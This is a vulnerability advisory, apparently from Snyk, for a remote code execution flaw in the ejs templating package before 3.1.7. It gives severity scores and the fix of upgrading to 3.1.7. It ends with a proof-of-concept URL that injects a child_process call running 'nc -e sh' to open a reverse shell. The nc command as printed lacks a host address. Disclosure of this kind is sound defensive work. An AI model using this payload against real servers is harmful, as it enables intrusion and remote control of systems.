Remote Code Execution (RCE) Affecting ejs package, versions <3.1.7



    Exploit Maturity Proof of concept
    Attack Complexity High
    Confidentiality High
    Integrity High
    Availability High
Expand this section
9.8 critical
Expand this section
Red Hat
9.8 critical

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-EJS-2803307
  • published 26 Apr 2022
  • disclosed 26 Apr 2022
  • credit evi0s

How to fix?

Upgrade ejs to version 3.1.7 or higher.


ejs is a popular JavaScript templating engine. Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.

Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.


Creation of reverse shell:

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 1337');s